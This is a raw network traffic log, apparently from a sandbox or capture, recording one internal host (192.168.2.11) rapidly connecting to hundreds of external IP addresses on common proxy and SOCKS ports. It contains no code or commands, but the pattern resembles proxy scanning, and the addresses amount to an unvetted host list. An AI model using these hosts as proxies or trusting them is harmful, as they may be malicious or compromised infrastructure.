Mar 11, 2024 16:42:19.610409021 CET	50184	8080	192.168.2.11	27.130.253.68
Mar 11, 2024 16:42:19.610419035 CET	50172	5678	192.168.2.11	89.34.198.253
Mar 11, 2024 16:42:19.610419035 CET	50180	8888	192.168.2.11	154.64.219.2
Mar 11, 2024 16:42:19.610424042 CET	50186	34071	192.168.2.11	162.214.227.68
Mar 11, 2024 16:42:19.610438108 CET	50366	80	192.168.2.11	50.173.140.149
Mar 11, 2024 16:42:19.610461950 CET	50192	8080	192.168.2.11	103.159.66.61
Mar 11, 2024 16:42:19.611830950 CET	9090	50412	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:19.611867905 CET	9090	50412	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:19.611875057 CET	50412	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:19.611974955 CET	50412	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:19.613080025 CET	50950	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:19.613367081 CET	50951	4145	192.168.2.11	45.126.169.137
Mar 11, 2024 16:42:19.614937067 CET	4145	50839	174.77.111.197	192.168.2.11
Mar 11, 2024 16:42:19.615006924 CET	50839	4145	192.168.2.11	174.77.111.197
Mar 11, 2024 16:42:19.615752935 CET	80	50861	34.75.202.63	192.168.2.11
Mar 11, 2024 16:42:19.615878105 CET	50839	4145	192.168.2.11	174.77.111.197
Mar 11, 2024 16:42:19.616239071 CET	50952	1080	192.168.2.11	41.223.108.13
Mar 11, 2024 16:42:19.616411924 CET	50953	8080	192.168.2.11	201.20.94.93
Mar 11, 2024 16:42:19.616450071 CET	31033	49786	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:19.616843939 CET	50954	8080	192.168.2.11	103.75.96.70
Mar 11, 2024 16:42:19.616888046 CET	4711	50226	67.43.227.227	192.168.2.11
Mar 11, 2024 16:42:19.619132996 CET	50955	999	192.168.2.11	181.78.19.249
Mar 11, 2024 16:42:19.619931936 CET	50956	8080	192.168.2.11	160.3.168.70
Mar 11, 2024 16:42:19.620291948 CET	50957	8080	192.168.2.11	103.49.114.195
Mar 11, 2024 16:42:19.620867014 CET	50958	7777	192.168.2.11	18.195.164.53
Mar 11, 2024 16:42:19.623370886 CET	80	50302	50.231.104.58	192.168.2.11
Mar 11, 2024 16:42:19.624414921 CET	50959	57495	192.168.2.11	162.241.53.72
Mar 11, 2024 16:42:19.624655962 CET	80	50765	123.110.158.236	192.168.2.11
Mar 11, 2024 16:42:19.625704050 CET	28723	50855	67.43.227.227	192.168.2.11
Mar 11, 2024 16:42:19.625761986 CET	50960	20001	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:19.625919104 CET	5000	50073	49.228.131.169	192.168.2.11
Mar 11, 2024 16:42:19.626017094 CET	50228	7891	192.168.2.11	43.129.228.46
Mar 11, 2024 16:42:19.626054049 CET	50178	8080	192.168.2.11	185.208.102.62
Mar 11, 2024 16:42:19.626066923 CET	50181	3128	192.168.2.11	161.97.132.227
Mar 11, 2024 16:42:19.626068115 CET	49884	8000	192.168.2.11	178.128.156.219
Mar 11, 2024 16:42:19.626081944 CET	50179	999	192.168.2.11	45.184.155.3
Mar 11, 2024 16:42:19.626089096 CET	50201	3128	192.168.2.11	91.189.177.186
Mar 11, 2024 16:42:19.626092911 CET	50189	3128	192.168.2.11	199.223.255.109
Mar 11, 2024 16:42:19.626089096 CET	50188	9080	192.168.2.11	154.205.152.96
Mar 11, 2024 16:42:19.626111984 CET	49751	5678	192.168.2.11	122.152.53.25
Mar 11, 2024 16:42:19.626115084 CET	50197	29745	192.168.2.11	132.148.128.88
Mar 11, 2024 16:42:19.626115084 CET	50206	51800	192.168.2.11	110.185.105.210
Mar 11, 2024 16:42:19.626115084 CET	50435	25491	192.168.2.11	67.43.227.230
Mar 11, 2024 16:42:19.626127005 CET	50205	80	192.168.2.11	185.167.59.215
Mar 11, 2024 16:42:19.626146078 CET	50193	44374	192.168.2.11	172.93.111.235
Mar 11, 2024 16:42:19.626146078 CET	50198	8080	192.168.2.11	102.23.234.201
Mar 11, 2024 16:42:19.626369953 CET	28695	50003	92.204.134.38	192.168.2.11
Mar 11, 2024 16:42:19.626452923 CET	50003	28695	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:19.626668930 CET	50003	28695	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:19.626986980 CET	50961	8080	192.168.2.11	96.80.235.1
Mar 11, 2024 16:42:19.627379894 CET	50962	20317	192.168.2.11	132.148.128.88
Mar 11, 2024 16:42:19.627404928 CET	3629	50827	177.86.64.1	192.168.2.11
Mar 11, 2024 16:42:19.628277063 CET	50963	8080	192.168.2.11	78.142.234.35
Mar 11, 2024 16:42:19.629292965 CET	8197	50260	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.629465103 CET	8197	50260	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.629539967 CET	13623	49965	36.255.104.1	192.168.2.11
Mar 11, 2024 16:42:19.630634069 CET	8080	50809	115.96.208.124	192.168.2.11
Mar 11, 2024 16:42:19.630714893 CET	50809	8080	192.168.2.11	115.96.208.124
Mar 11, 2024 16:42:19.630966902 CET	50809	8080	192.168.2.11	115.96.208.124
Mar 11, 2024 16:42:19.630991936 CET	48612	50005	191.103.219.225	192.168.2.11
Mar 11, 2024 16:42:19.631045103 CET	50005	48612	192.168.2.11	191.103.219.225
Mar 11, 2024 16:42:19.631236076 CET	50005	48612	192.168.2.11	191.103.219.225
Mar 11, 2024 16:42:19.631725073 CET	8197	50833	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.631858110 CET	50833	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.632093906 CET	32221	49788	67.43.228.254	192.168.2.11
Mar 11, 2024 16:42:19.632633924 CET	50833	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.636339903 CET	50964	80	192.168.2.11	50.207.199.85
Mar 11, 2024 16:42:19.636805058 CET	50965	36129	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:19.637036085 CET	50966	8080	192.168.2.11	203.189.150.48
Mar 11, 2024 16:42:19.637274981 CET	50967	8123	192.168.2.11	119.81.189.194
Mar 11, 2024 16:42:19.637439966 CET	50968	46656	192.168.2.11	38.127.179.126
Mar 11, 2024 16:42:19.637547970 CET	50969	5040	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:19.637670994 CET	50970	83	192.168.2.11	103.47.175.161
Mar 11, 2024 16:42:19.638155937 CET	8888	49968	51.15.242.202	192.168.2.11
Mar 11, 2024 16:42:19.638219118 CET	49968	8888	192.168.2.11	51.15.242.202
Mar 11, 2024 16:42:19.638416052 CET	49968	8888	192.168.2.11	51.15.242.202
Mar 11, 2024 16:42:19.639729977 CET	50971	80	192.168.2.11	83.142.161.30
Mar 11, 2024 16:42:19.640301943 CET	32650	50825	103.216.51.36	192.168.2.11
Mar 11, 2024 16:42:19.641607046 CET	49892	80	192.168.2.11	50.168.72.112
Mar 11, 2024 16:42:19.641623974 CET	50208	31337	192.168.2.11	186.251.255.41
Mar 11, 2024 16:42:19.641629934 CET	49919	80	192.168.2.11	50.175.212.74
Mar 11, 2024 16:42:19.641644001 CET	50215	80	192.168.2.11	103.151.20.131
Mar 11, 2024 16:42:19.641657114 CET	50214	1080	192.168.2.11	209.14.112.8
Mar 11, 2024 16:42:19.641657114 CET	50384	80	192.168.2.11	50.218.57.68
Mar 11, 2024 16:42:19.641657114 CET	50213	1088	192.168.2.11	81.199.14.49
Mar 11, 2024 16:42:19.641660929 CET	50207	8080	192.168.2.11	159.192.102.249
Mar 11, 2024 16:42:19.641668081 CET	50272	5678	192.168.2.11	103.112.254.66
Mar 11, 2024 16:42:19.642183065 CET	80	50677	172.67.181.97	192.168.2.11
Mar 11, 2024 16:42:19.642642021 CET	80	50686	104.25.42.178	192.168.2.11
Mar 11, 2024 16:42:19.643064976 CET	80	50694	104.19.225.70	192.168.2.11
Mar 11, 2024 16:42:19.643233061 CET	9002	49830	220.248.70.237	192.168.2.11
Mar 11, 2024 16:42:19.643436909 CET	4145	50310	142.54.229.249	192.168.2.11
Mar 11, 2024 16:42:19.643526077 CET	50310	4145	192.168.2.11	142.54.229.249
Mar 11, 2024 16:42:19.643743992 CET	50310	4145	192.168.2.11	142.54.229.249
Mar 11, 2024 16:42:19.643767118 CET	5931	50872	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:19.643899918 CET	9002	50253	222.138.76.6	192.168.2.11
Mar 11, 2024 16:42:19.646009922 CET	10003	50836	147.75.34.86	192.168.2.11
Mar 11, 2024 16:42:19.646085978 CET	50836	10003	192.168.2.11	147.75.34.86
Mar 11, 2024 16:42:19.646306992 CET	50836	10003	192.168.2.11	147.75.34.86
Mar 11, 2024 16:42:19.646348953 CET	15673	50885	23.95.209.142	192.168.2.11
Mar 11, 2024 16:42:19.646398067 CET	50885	15673	192.168.2.11	23.95.209.142
Mar 11, 2024 16:42:19.646559000 CET	50885	15673	192.168.2.11	23.95.209.142
Mar 11, 2024 16:42:19.650583982 CET	50972	5566	192.168.2.11	111.221.3.86
Mar 11, 2024 16:42:19.650763988 CET	50973	8080	192.168.2.11	85.113.55.123
Mar 11, 2024 16:42:19.651093006 CET	50974	80	192.168.2.11	174.138.114.226
Mar 11, 2024 16:42:19.651122093 CET	15673	50820	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:19.651137114 CET	50975	21049	192.168.2.11	128.199.196.31
Mar 11, 2024 16:42:19.651320934 CET	50976	4444	192.168.2.11	128.199.116.34
Mar 11, 2024 16:42:19.651854038 CET	15673	50820	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:19.655077934 CET	80	50720	104.22.50.220	192.168.2.11
Mar 11, 2024 16:42:19.655575991 CET	80	49716	50.217.226.43	192.168.2.11
Mar 11, 2024 16:42:19.655627966 CET	80	50328	54.152.3.36	192.168.2.11
Mar 11, 2024 16:42:19.656414032 CET	50977	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:19.657212019 CET	8081	50830	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:19.657238960 CET	50375	39452	192.168.2.11	167.172.109.12
Mar 11, 2024 16:42:19.657239914 CET	50446	3335	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:19.657252073 CET	50227	49865	192.168.2.11	128.199.221.91
Mar 11, 2024 16:42:19.657255888 CET	50218	8080	192.168.2.11	34.84.95.189
Mar 11, 2024 16:42:19.657263994 CET	50222	49614	192.168.2.11	206.189.145.23
Mar 11, 2024 16:42:19.657279015 CET	49772	3128	192.168.2.11	46.245.77.52
Mar 11, 2024 16:42:19.657313108 CET	50224	56252	192.168.2.11	103.59.190.209
Mar 11, 2024 16:42:19.657319069 CET	50223	10801	192.168.2.11	103.53.110.45
Mar 11, 2024 16:42:19.657320023 CET	50830	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:19.657322884 CET	50229	8080	192.168.2.11	101.255.62.129
Mar 11, 2024 16:42:19.657324076 CET	50231	32100	192.168.2.11	50.233.111.162
Mar 11, 2024 16:42:19.657629967 CET	10049	50879	67.43.227.227	192.168.2.11
Mar 11, 2024 16:42:19.657902002 CET	50830	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:19.658173084 CET	8880	50481	95.66.138.21	192.168.2.11
Mar 11, 2024 16:42:19.660964012 CET	31908	49791	64.227.108.25	192.168.2.11
Mar 11, 2024 16:42:19.660979033 CET	80	50731	172.67.127.188	192.168.2.11
Mar 11, 2024 16:42:19.661021948 CET	49791	31908	192.168.2.11	64.227.108.25
Mar 11, 2024 16:42:19.661326885 CET	49791	31908	192.168.2.11	64.227.108.25
Mar 11, 2024 16:42:19.662688017 CET	80	50740	172.67.182.107	192.168.2.11
Mar 11, 2024 16:42:19.663325071 CET	51251	50523	49.12.126.53	192.168.2.11
Mar 11, 2024 16:42:19.663338900 CET	1080	50146	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:19.665317059 CET	80	50883	50.168.72.122	192.168.2.11
Mar 11, 2024 16:42:19.666676044 CET	59870	49980	37.187.77.58	192.168.2.11
Mar 11, 2024 16:42:19.666769981 CET	49980	59870	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:19.666968107 CET	8080	50835	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.667058945 CET	49980	59870	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:19.667197943 CET	8080	50835	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.667228937 CET	4145	50667	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:19.667294025 CET	8080	50835	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.667305946 CET	4145	50667	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:19.667330980 CET	50835	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:19.667505026 CET	80	50848	50.174.145.14	192.168.2.11
Mar 11, 2024 16:42:19.668159962 CET	4145	50670	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:19.668174028 CET	4145	50670	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:19.668638945 CET	50978	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:19.669187069 CET	1080	50831	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:19.669245958 CET	1080	50146	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:19.669255972 CET	50831	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:19.669434071 CET	4145	50897	199.102.107.145	192.168.2.11
Mar 11, 2024 16:42:19.669522047 CET	50979	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:19.669765949 CET	50831	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:19.671792984 CET	4145	50668	174.75.211.222	192.168.2.11
Mar 11, 2024 16:42:19.671828032 CET	4145	50668	174.75.211.222	192.168.2.11
Mar 11, 2024 16:42:19.672199011 CET	8080	50379	103.190.54.141	192.168.2.11
Mar 11, 2024 16:42:19.672904015 CET	50394	41491	192.168.2.11	167.172.109.12
Mar 11, 2024 16:42:19.672904015 CET	50232	80	192.168.2.11	36.229.100.73
Mar 11, 2024 16:42:19.672916889 CET	50235	81	192.168.2.11	188.168.24.222
Mar 11, 2024 16:42:19.672919035 CET	50246	55443	192.168.2.11	197.232.65.40
Mar 11, 2024 16:42:19.672935009 CET	50230	80	192.168.2.11	154.65.39.7
Mar 11, 2024 16:42:19.672935009 CET	50254	999	192.168.2.11	186.125.218.145
Mar 11, 2024 16:42:19.672936916 CET	50233	41055	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:19.672936916 CET	50239	42624	192.168.2.11	162.214.165.6
Mar 11, 2024 16:42:19.672945023 CET	50238	43100	192.168.2.11	142.4.7.20
Mar 11, 2024 16:42:19.672961950 CET	50251	999	192.168.2.11	38.41.0.94
Mar 11, 2024 16:42:19.672970057 CET	50259	80	192.168.2.11	13.209.156.241
Mar 11, 2024 16:42:19.673032045 CET	50261	4145	192.168.2.11	1.2.209.194
Mar 11, 2024 16:42:19.673032999 CET	50252	999	192.168.2.11	45.176.97.90
Mar 11, 2024 16:42:19.673036098 CET	50243	83	192.168.2.11	103.129.3.246
Mar 11, 2024 16:42:19.673845053 CET	4145	50671	68.1.210.163	192.168.2.11
Mar 11, 2024 16:42:19.673892975 CET	4145	50671	68.1.210.163	192.168.2.11
Mar 11, 2024 16:42:19.674237013 CET	50980	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:19.677505016 CET	9764	50802	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.677671909 CET	50802	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:19.678111076 CET	31979	50095	51.77.65.164	192.168.2.11
Mar 11, 2024 16:42:19.678735971 CET	9764	50802	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.681862116 CET	80	50846	104.16.241.204	192.168.2.11
Mar 11, 2024 16:42:19.681915998 CET	80	50846	104.16.241.204	192.168.2.11
Mar 11, 2024 16:42:19.682357073 CET	80	50846	104.16.241.204	192.168.2.11
Mar 11, 2024 16:42:19.682621002 CET	45639	49985	103.212.93.241	192.168.2.11
Mar 11, 2024 16:42:19.683211088 CET	50846	80	192.168.2.11	104.16.241.204
Mar 11, 2024 16:42:19.686367035 CET	1081	50545	5.252.23.220	192.168.2.11
Mar 11, 2024 16:42:19.686471939 CET	50545	1081	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:19.686554909 CET	1081	50545	5.252.23.220	192.168.2.11
Mar 11, 2024 16:42:19.686973095 CET	50802	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:19.686994076 CET	4145	49885	184.178.172.14	192.168.2.11
Mar 11, 2024 16:42:19.687212944 CET	4145	49885	184.178.172.14	192.168.2.11
Mar 11, 2024 16:42:19.687407970 CET	80	50790	104.27.26.29	192.168.2.11
Mar 11, 2024 16:42:19.688018084 CET	50981	8080	192.168.2.11	103.190.54.141
Mar 11, 2024 16:42:19.688473940 CET	50303	16379	192.168.2.11	163.172.131.178
Mar 11, 2024 16:42:19.688493013 CET	50234	8889	192.168.2.11	216.176.187.99
Mar 11, 2024 16:42:19.688517094 CET	50489	14282	192.168.2.11	192.252.208.70
Mar 11, 2024 16:42:19.688522100 CET	50265	3128	192.168.2.11	13.40.239.130
Mar 11, 2024 16:42:19.688517094 CET	50425	8888	192.168.2.11	188.166.30.17
Mar 11, 2024 16:42:19.688525915 CET	50266	5678	192.168.2.11	83.56.15.57
Mar 11, 2024 16:42:19.688525915 CET	50491	80	192.168.2.11	50.239.72.17
Mar 11, 2024 16:42:19.688538074 CET	50267	3128	192.168.2.11	45.159.150.23
Mar 11, 2024 16:42:19.688551903 CET	50263	49401	192.168.2.11	162.241.46.40
Mar 11, 2024 16:42:19.688558102 CET	50241	80	192.168.2.11	37.120.189.106
Mar 11, 2024 16:42:19.688558102 CET	49719	8081	192.168.2.11	154.72.90.74
Mar 11, 2024 16:42:19.688559055 CET	50236	8080	192.168.2.11	202.179.188.178
Mar 11, 2024 16:42:19.688560009 CET	50273	4145	192.168.2.11	119.42.71.103
Mar 11, 2024 16:42:19.688560963 CET	50276	999	192.168.2.11	190.61.41.165
Mar 11, 2024 16:42:19.688565016 CET	50278	82	192.168.2.11	117.160.250.163
Mar 11, 2024 16:42:19.688568115 CET	50270	3629	192.168.2.11	95.31.42.199
Mar 11, 2024 16:42:19.688596964 CET	50281	10722	192.168.2.11	192.163.202.88
Mar 11, 2024 16:42:19.688656092 CET	50279	80	192.168.2.11	182.72.203.255
Mar 11, 2024 16:42:19.689340115 CET	44195	50293	162.19.7.56	192.168.2.11
Mar 11, 2024 16:42:19.689353943 CET	8888	50255	3.25.234.175	192.168.2.11
Mar 11, 2024 16:42:19.689616919 CET	80	50794	172.67.181.12	192.168.2.11
Mar 11, 2024 16:42:19.690263033 CET	50982	4145	192.168.2.11	68.1.210.163
Mar 11, 2024 16:42:19.690406084 CET	4145	50706	72.210.221.223	192.168.2.11
Mar 11, 2024 16:42:19.690840960 CET	4145	50706	72.210.221.223	192.168.2.11
Mar 11, 2024 16:42:19.691026926 CET	50983	4145	192.168.2.11	184.178.172.14
Mar 11, 2024 16:42:19.691210032 CET	5005	49848	1.194.236.229	192.168.2.11
Mar 11, 2024 16:42:19.691678047 CET	50984	4145	192.168.2.11	72.210.221.223
Mar 11, 2024 16:42:19.691932917 CET	49848	5005	192.168.2.11	1.194.236.229
Mar 11, 2024 16:42:19.692517996 CET	50985	80	192.168.2.11	103.197.71.7
Mar 11, 2024 16:42:19.693331003 CET	50986	53281	192.168.2.11	179.60.240.69
Mar 11, 2024 16:42:19.693757057 CET	80	50800	104.27.37.131	192.168.2.11
Mar 11, 2024 16:42:19.694793940 CET	1080	49984	202.142.167.210	192.168.2.11
Mar 11, 2024 16:42:19.694955111 CET	80	50551	198.44.255.3	192.168.2.11
Mar 11, 2024 16:42:19.695457935 CET	50551	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:19.695457935 CET	50551	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:19.695617914 CET	50987	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:19.695710897 CET	80	50551	198.44.255.3	192.168.2.11
Mar 11, 2024 16:42:19.698209047 CET	50846	80	192.168.2.11	104.16.241.204
Mar 11, 2024 16:42:19.698719025 CET	50545	1081	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:19.698956013 CET	50988	1081	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:19.701272011 CET	4145	50710	72.195.34.41	192.168.2.11
Mar 11, 2024 16:42:19.701313972 CET	4145	50710	72.195.34.41	192.168.2.11
Mar 11, 2024 16:42:19.701718092 CET	50989	4145	192.168.2.11	72.195.34.41
Mar 11, 2024 16:42:19.702361107 CET	9002	50813	39.165.0.137	192.168.2.11
Mar 11, 2024 16:42:19.702425003 CET	50813	9002	192.168.2.11	39.165.0.137
Mar 11, 2024 16:42:19.702464104 CET	55066	50128	167.86.115.103	192.168.2.11
Mar 11, 2024 16:42:19.702554941 CET	50813	9002	192.168.2.11	39.165.0.137
Mar 11, 2024 16:42:19.704098940 CET	50269	48553	192.168.2.11	203.96.177.211
Mar 11, 2024 16:42:19.704118967 CET	49915	5775	192.168.2.11	72.10.160.92
Mar 11, 2024 16:42:19.704129934 CET	50328	80	192.168.2.11	54.152.3.36
Mar 11, 2024 16:42:19.704240084 CET	50275	30189	192.168.2.11	161.97.163.52
Mar 11, 2024 16:42:19.704242945 CET	50271	32100	192.168.2.11	50.199.46.20
Mar 11, 2024 16:42:19.704410076 CET	8080	50361	5.78.89.192	192.168.2.11
Mar 11, 2024 16:42:19.705823898 CET	8888	50460	23.94.123.243	192.168.2.11
Mar 11, 2024 16:42:19.706485987 CET	80	50849	52.67.10.183	192.168.2.11
Mar 11, 2024 16:42:19.706572056 CET	50849	80	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:19.706615925 CET	5678	50059	202.165.47.49	192.168.2.11
Mar 11, 2024 16:42:19.707062006 CET	50849	80	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:19.707557917 CET	50460	8888	192.168.2.11	23.94.123.243
Mar 11, 2024 16:42:19.708168983 CET	50990	34411	192.168.2.11	212.110.188.195
Mar 11, 2024 16:42:19.708384991 CET	50991	8080	192.168.2.11	103.227.186.13
Mar 11, 2024 16:42:19.708930969 CET	50992	9012	192.168.2.11	103.148.192.82
Mar 11, 2024 16:42:19.709932089 CET	12334	50550	194.4.50.62	192.168.2.11
Mar 11, 2024 16:42:19.710284948 CET	55019	49833	92.204.135.37	192.168.2.11
Mar 11, 2024 16:42:19.710475922 CET	26315	49817	72.10.160.171	192.168.2.11
Mar 11, 2024 16:42:19.711802006 CET	8080	50859	46.105.35.193	192.168.2.11
Mar 11, 2024 16:42:19.713464975 CET	45248	49897	166.62.121.127	192.168.2.11
Mar 11, 2024 16:42:19.713571072 CET	8888	50542	31.43.158.108	192.168.2.11
Mar 11, 2024 16:42:19.713798046 CET	50542	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:19.714097977 CET	50542	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:19.714251041 CET	50993	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:19.714603901 CET	8888	50542	31.43.158.108	192.168.2.11
Mar 11, 2024 16:42:19.714617014 CET	8089	50040	111.225.152.42	192.168.2.11
Mar 11, 2024 16:42:19.716298103 CET	80	50156	50.170.90.28	192.168.2.11
Mar 11, 2024 16:42:19.717317104 CET	9091	49996	120.37.121.209	192.168.2.11
Mar 11, 2024 16:42:19.717392921 CET	49996	9091	192.168.2.11	120.37.121.209
Mar 11, 2024 16:42:19.717613935 CET	49996	9091	192.168.2.11	120.37.121.209
Mar 11, 2024 16:42:19.718518972 CET	3128	49754	8.209.255.13	192.168.2.11
Mar 11, 2024 16:42:19.718586922 CET	49754	3128	192.168.2.11	8.209.255.13
Mar 11, 2024 16:42:19.718832016 CET	49754	3128	192.168.2.11	8.209.255.13
Mar 11, 2024 16:42:19.719741106 CET	50080	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:19.719746113 CET	50284	12113	192.168.2.11	103.49.28.23
Mar 11, 2024 16:42:19.719811916 CET	50393	4145	192.168.2.11	103.58.16.57
Mar 11, 2024 16:42:19.719908953 CET	9990	50160	117.160.250.163	192.168.2.11
Mar 11, 2024 16:42:19.719943047 CET	9990	50160	117.160.250.163	192.168.2.11
Mar 11, 2024 16:42:19.719954014 CET	9990	50160	117.160.250.163	192.168.2.11
Mar 11, 2024 16:42:19.720009089 CET	50160	9990	192.168.2.11	117.160.250.163
Mar 11, 2024 16:42:19.720197916 CET	50160	9990	192.168.2.11	117.160.250.163
Mar 11, 2024 16:42:19.720437050 CET	80	50614	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.720527887 CET	80	50614	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.720566988 CET	80	50614	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.720623970 CET	50614	80	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.720685005 CET	50614	80	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.721010923 CET	8080	50286	4.236.183.37	192.168.2.11
Mar 11, 2024 16:42:19.731065035 CET	50994	48963	192.168.2.11	207.180.234.220
Mar 11, 2024 16:42:19.731327057 CET	60200	50369	162.241.137.197	192.168.2.11
Mar 11, 2024 16:42:19.731477976 CET	50995	58714	192.168.2.11	185.18.198.163
Mar 11, 2024 16:42:19.731801033 CET	50996	80	192.168.2.11	50.168.72.116
Mar 11, 2024 16:42:19.732238054 CET	50997	80	192.168.2.11	50.169.118.209
Mar 11, 2024 16:42:19.732558012 CET	50998	3128	192.168.2.11	185.174.137.30
Mar 11, 2024 16:42:19.732800007 CET	50999	3128	192.168.2.11	161.34.67.83
Mar 11, 2024 16:42:19.732881069 CET	1080	50856	188.255.245.205	192.168.2.11
Mar 11, 2024 16:42:19.733083963 CET	8888	50080	93.171.220.229	192.168.2.11
Mar 11, 2024 16:42:19.733103991 CET	51000	80	192.168.2.11	104.16.104.12
Mar 11, 2024 16:42:19.733249903 CET	8888	50080	93.171.220.229	192.168.2.11
Mar 11, 2024 16:42:19.733411074 CET	51001	7237	192.168.2.11	195.248.243.149
Mar 11, 2024 16:42:19.733663082 CET	51002	49145	192.168.2.11	161.97.173.78
Mar 11, 2024 16:42:19.733949900 CET	51004	8888	192.168.2.11	20.33.5.27
Mar 11, 2024 16:42:19.733963013 CET	51003	4153	192.168.2.11	183.89.9.20
Mar 11, 2024 16:42:19.734267950 CET	51005	21898	192.168.2.11	159.223.166.21
Mar 11, 2024 16:42:19.734443903 CET	51006	999	192.168.2.11	168.194.171.16
Mar 11, 2024 16:42:19.734455109 CET	51007	4145	192.168.2.11	103.86.1.2
Mar 11, 2024 16:42:19.734632015 CET	51008	5678	192.168.2.11	185.26.32.93
Mar 11, 2024 16:42:19.734761000 CET	51009	80	192.168.2.11	172.67.182.96
Mar 11, 2024 16:42:19.735368013 CET	50403	3629	192.168.2.11	91.220.69.43
Mar 11, 2024 16:42:19.735368013 CET	50283	3128	192.168.2.11	86.107.178.109
Mar 11, 2024 16:42:19.735384941 CET	50108	8080	192.168.2.11	103.167.68.77
Mar 11, 2024 16:42:19.735384941 CET	50285	29497	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:19.735384941 CET	50295	22500	192.168.2.11	51.79.87.144
Mar 11, 2024 16:42:19.735384941 CET	50287	32824	192.168.2.11	51.68.164.77
Mar 11, 2024 16:42:19.735399961 CET	50292	999	192.168.2.11	170.239.207.241
Mar 11, 2024 16:42:19.735400915 CET	50290	8080	192.168.2.11	94.131.203.7
Mar 11, 2024 16:42:19.735400915 CET	50294	8080	192.168.2.11	103.124.196.134
Mar 11, 2024 16:42:19.735400915 CET	50296	30422	192.168.2.11	157.245.131.28
Mar 11, 2024 16:42:19.735410929 CET	50291	81	192.168.2.11	94.153.163.226
Mar 11, 2024 16:42:19.735652924 CET	8888	50834	93.171.220.229	192.168.2.11
Mar 11, 2024 16:42:19.735726118 CET	50834	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:19.736036062 CET	50834	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:19.736711025 CET	42331	50204	206.189.9.30	192.168.2.11
Mar 11, 2024 16:42:19.737088919 CET	51010	8080	192.168.2.11	192.144.30.200
Mar 11, 2024 16:42:19.737710953 CET	1080	50483	35.154.71.72	192.168.2.11
Mar 11, 2024 16:42:19.738415956 CET	1080	50594	27.0.234.206	192.168.2.11
Mar 11, 2024 16:42:19.740258932 CET	1080	50594	27.0.234.206	192.168.2.11
Mar 11, 2024 16:42:19.740308046 CET	51012	4673	192.168.2.11	62.201.212.198
Mar 11, 2024 16:42:19.740335941 CET	51013	80	192.168.2.11	164.132.170.100
Mar 11, 2024 16:42:19.740370989 CET	50594	1080	192.168.2.11	27.0.234.206
Mar 11, 2024 16:42:19.740456104 CET	50594	1080	192.168.2.11	27.0.234.206
Mar 11, 2024 16:42:19.740688086 CET	51014	1080	192.168.2.11	27.0.234.206
Mar 11, 2024 16:42:19.740696907 CET	1080	50483	35.154.71.72	192.168.2.11
Mar 11, 2024 16:42:19.740967989 CET	50483	1080	192.168.2.11	35.154.71.72
Mar 11, 2024 16:42:19.742027044 CET	9039	49827	67.43.227.228	192.168.2.11
Mar 11, 2024 16:42:19.742523909 CET	51015	3128	192.168.2.11	176.113.73.102
